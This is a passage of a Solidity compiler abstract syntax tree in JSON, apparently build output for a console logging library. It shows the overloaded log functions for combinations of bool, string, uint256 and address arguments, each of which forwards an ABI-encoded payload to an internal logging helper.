memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29733,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"52032:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29742,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52032:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29743,"nodeType":"ExpressionStatement","src":"52032:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"51962:3:15","parameters":{"id":29731,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29724,"mutability":"mutable","name":"p0","nameLocation":"51971:2:15","nodeType":"VariableDeclaration","scope":29745,"src":"51966:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29723,"name":"bool","nodeType":"ElementaryTypeName","src":"51966:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29726,"mutability":"mutable","name":"p1","nameLocation":"51980:2:15","nodeType":"VariableDeclaration","scope":29745,"src":"51975:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29725,"name":"bool","nodeType":"ElementaryTypeName","src":"51975:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29728,"mutability":"mutable","name":"p2","nameLocation":"51992:2:15","nodeType":"VariableDeclaration","scope":29745,"src":"51984:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29727,"name":"uint256","nodeType":"ElementaryTypeName","src":"51984:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29730,"mutability":"mutable","name":"p3","nameLocation":"52004:2:15","nodeType":"VariableDeclaration","scope":29745,"src":"51996:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29729,"name":"address","nodeType":"ElementaryTypeName","src":"51996:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"51965:42:15"},"returnParameters":{"id":29732,"nodeType":"ParameterList","parameters":[],"src":"52022:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29768,"nodeType":"FunctionDefinition","src":"52135:181:15","nodes":[],"body":{"id":29767,"nodeType":"Block","src":"52210:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c737472696e672c75696e7432353629","id":29759,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"52260:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_e3a9ca2f5717705d404f75ae4eff025addb4f91e02ce7d2b9a424fc7423a8246","typeString":"literal_string \"log(bool,bool,string,uint256)\""},"value":"log(bool,bool,string,uint256)"},{"id":29760,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29747,"src":"52293:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29761,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29749,"src":"52297:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29762,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29751,"src":"52301:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29763,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29753,"src":"52305:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e3a9ca2f5717705d404f75ae4eff025addb4f91e02ce7d2b9a424fc7423a8246","typeString":"literal_string \"log(bool,bool,string,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":29757,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"52236:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29758,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"52240:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"52236:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29764,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52236:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29756,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"52220:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29765,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52220:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29766,"nodeType":"ExpressionStatement","src":"52220:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"52144:3:15","parameters":{"id":29754,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29747,"mutability":"mutable","name":"p0","nameLocation":"52153:2:15","nodeType":"VariableDeclaration","scope":29768,"src":"52148:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29746,"name":"bool","nodeType":"ElementaryTypeName","src":"52148:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29749,"mutability":"mutable","name":"p1","nameLocation":"52162:2:15","nodeType":"VariableDeclaration","scope":29768,"src":"52157:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29748,"name":"bool","nodeType":"ElementaryTypeName","src":"52157:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29751,"mutability":"mutable","name":"p2","nameLocation":"52180:2:15","nodeType":"VariableDeclaration","scope":29768,"src":"52166:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29750,"name":"string","nodeType":"ElementaryTypeName","src":"52166:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29753,"mutability":"mutable","name":"p3","nameLocation":"52192:2:15","nodeType":"VariableDeclaration","scope":29768,"src":"52184:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29752,"name":"uint256","nodeType":"ElementaryTypeName","src":"52184:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"52147:48:15"},"returnParameters":{"id":29755,"nodeType":"ParameterList","parameters":[],"src":"52210:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29791,"nodeType":"FunctionDefinition","src":"52322:186:15","nodes":[],"body":{"id":29790,"nodeType":"Block","src":"52403:105:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c737472696e672c737472696e6729","id":29782,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"52453:30:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_6d1e87518c98344bc3efd52648f61de340bda51607aec409d641f3467caafaaf","typeString":"literal_string \"log(bool,bool,string,string)\""},"value":"log(bool,bool,string,string)"},{"id":29783,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29770,"src":"52485:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29784,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29772,"src":"52489:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29785,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29774,"src":"52493:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29786,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29776,"src":"52497:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6d1e87518c98344bc3efd52648f61de340bda51607aec409d641f3467caafaaf","typeString":"literal_string \"log(bool,bool,string,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":29780,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"52429:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29781,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"52433:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"52429:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29787,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52429:71:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29779,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"52413:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29788,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52413:88:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29789,"nodeType":"ExpressionStatement","src":"52413:88:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"52331:3:15","parameters":{"id":29777,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29770,"mutability":"mutable","name":"p0","nameLocation":"52340:2:15","nodeType":"VariableDeclaration","scope":29791,"src":"52335:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29769,"name":"bool","nodeType":"ElementaryTypeName","src":"52335:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29772,"mutability":"mutable","name":"p1","nameLocation":"52349:2:15","nodeType":"VariableDeclaration","scope":29791,"src":"52344:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29771,"name":"bool","nodeType":"ElementaryTypeName","src":"52344:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29774,"mutability":"mutable","name":"p2","nameLocation":"52367:2:15","nodeType":"VariableDeclaration","scope":29791,"src":"52353:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29773,"name":"string","nodeType":"ElementaryTypeName","src":"52353:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29776,"mutability":"mutable","name":"p3","nameLocation":"52385:2:15","nodeType":"VariableDeclaration","scope":29791,"src":"52371:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29775,"name":"string","nodeType":"ElementaryTypeName","src":"52371:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"52334:54:15"},"returnParameters":{"id":29778,"nodeType":"ParameterList","parameters":[],"src":"52403:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29814,"nodeType":"FunctionDefinition","src":"52514:175:15","nodes":[],"body":{"id":29813,"nodeType":"Block","src":"52586:103:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c737472696e672c626f6f6c29","id":29805,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"52636:28:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_b857163a2b7b8273ed53cefa410aa148f1833bdfc22da11e1e2fb89c6e625d02","typeString":"literal_string \"log(bool,bool,string,bool)\""},"value":"log(bool,bool,string,bool)"},{"id":29806,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29793,"src":"52666:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29807,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29795,"src":"52670:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29808,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29797,"src":"52674:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29809,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29799,"src":"52678:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b857163a2b7b8273ed53cefa410aa148f1833bdfc22da11e1e2fb89c6e625d02","typeString":"literal_string \"log(bool,bool,string,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":29803,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"52612:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29804,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"52616:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"52612:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29810,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52612:69:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29802,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"52596:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29811,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52596:86:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29812,"nodeType":"ExpressionStatement","src":"52596:86:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"52523:3:15","parameters":{"id":29800,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29793,"mutability":"mutable","name":"p0","nameLocation":"52532:2:15","nodeType":"VariableDeclaration","scope":29814,"src":"52527:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29792,"name":"bool","nodeType":"ElementaryTypeName","src":"52527:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29795,"mutability":"mutable","name":"p1","nameLocation":"52541:2:15","nodeType":"VariableDeclaration","scope":29814,"src":"52536:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29794,"name":"bool","nodeType":"ElementaryTypeName","src":"52536:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29797,"mutability":"mutable","name":"p2","nameLocation":"52559:2:15","nodeType":"VariableDeclaration","scope":29814,"src":"52545:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29796,"name":"string","nodeType":"ElementaryTypeName","src":"52545:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29799,"mutability":"mutable","name":"p3","nameLocation":"52568:2:15","nodeType":"VariableDeclaration","scope":29814,"src":"52563:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29798,"name":"bool","nodeType":"ElementaryTypeName","src":"52563:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"52526:45:15"},"returnParameters":{"id":29801,"nodeType":"ParameterList","parameters":[],"src":"52586:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29837,"nodeType":"FunctionDefinition","src":"52695:181:15","nodes":[],"body":{"id":29836,"nodeType":"Block","src":"52770:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c737472696e672c6164647265737329","id":29828,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"52820:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_f9ad2b893873fa31c02b102aa30743b2e44c102daa588ea9d1eb1f2baf23d202","typeString":"literal_string \"log(bool,bool,string,address)\""},"value":"log(bool,bool,string,address)"},{"id":29829,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29816,"src":"52853:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29830,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29818,"src":"52857:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29831,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29820,"src":"52861:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":29832,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29822,"src":"52865:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f9ad2b893873fa31c02b102aa30743b2e44c102daa588ea9d1eb1f2baf23d202","typeString":"literal_string \"log(bool,bool,string,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":29826,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"52796:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29827,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"52800:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"52796:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29833,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52796:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29825,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"52780:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29834,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52780:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29835,"nodeType":"ExpressionStatement","src":"52780:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"52704:3:15","parameters":{"id":29823,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29816,"mutability":"mutable","name":"p0","nameLocation":"52713:2:15","nodeType":"VariableDeclaration","scope":29837,"src":"52708:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29815,"name":"bool","nodeType":"ElementaryTypeName","src":"52708:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29818,"mutability":"mutable","name":"p1","nameLocation":"52722:2:15","nodeType":"VariableDeclaration","scope":29837,"src":"52717:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29817,"name":"bool","nodeType":"ElementaryTypeName","src":"52717:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29820,"mutability":"mutable","name":"p2","nameLocation":"52740:2:15","nodeType":"VariableDeclaration","scope":29837,"src":"52726:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29819,"name":"string","nodeType":"ElementaryTypeName","src":"52726:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":29822,"mutability":"mutable","name":"p3","nameLocation":"52752:2:15","nodeType":"VariableDeclaration","scope":29837,"src":"52744:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29821,"name":"address","nodeType":"ElementaryTypeName","src":"52744:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"52707:48:15"},"returnParameters":{"id":29824,"nodeType":"ParameterList","parameters":[],"src":"52770:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29860,"nodeType":"FunctionDefinition","src":"52882:170:15","nodes":[],"body":{"id":29859,"nodeType":"Block","src":"52948:104:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c626f6f6c2c75696e7432353629","id":29851,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"52998:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_6d7045c1b7eb7ef78b5ae54b2426a16952d89f674f6d689a4e37aa73bc076a7c","typeString":"literal_string \"log(bool,bool,bool,uint256)\""},"value":"log(bool,bool,bool,uint256)"},{"id":29852,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29839,"src":"53029:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29853,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29841,"src":"53033:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29854,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29843,"src":"53037:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29855,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29845,"src":"53041:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6d7045c1b7eb7ef78b5ae54b2426a16952d89f674f6d689a4e37aa73bc076a7c","typeString":"literal_string \"log(bool,bool,bool,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":29849,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"52974:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29850,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"52978:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"52974:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29856,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52974:70:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29848,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"52958:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29857,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"52958:87:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29858,"nodeType":"ExpressionStatement","src":"52958:87:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"52891:3:15","parameters":{"id":29846,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29839,"mutability":"mutable","name":"p0","nameLocation":"52900:2:15","nodeType":"VariableDeclaration","scope":29860,"src":"52895:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29838,"name":"bool","nodeType":"ElementaryTypeName","src":"52895:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29841,"mutability":"mutable","name":"p1","nameLocation":"52909:2:15","nodeType":"VariableDeclaration","scope":29860,"src":"52904:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29840,"name":"bool","nodeType":"ElementaryTypeName","src":"52904:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29843,"mutability":"mutable","name":"p2","nameLocation":"52918:2:15","nodeType":"VariableDeclaration","scope":29860,"src":"52913:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29842,"name":"bool","nodeType":"ElementaryTypeName","src":"52913:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29845,"mutability":"mutable","name":"p3","nameLocation":"52930:2:15","nodeType":"VariableDeclaration","scope":29860,"src":"52922:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29844,"name":"uint256","nodeType":"ElementaryTypeName","src":"52922:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"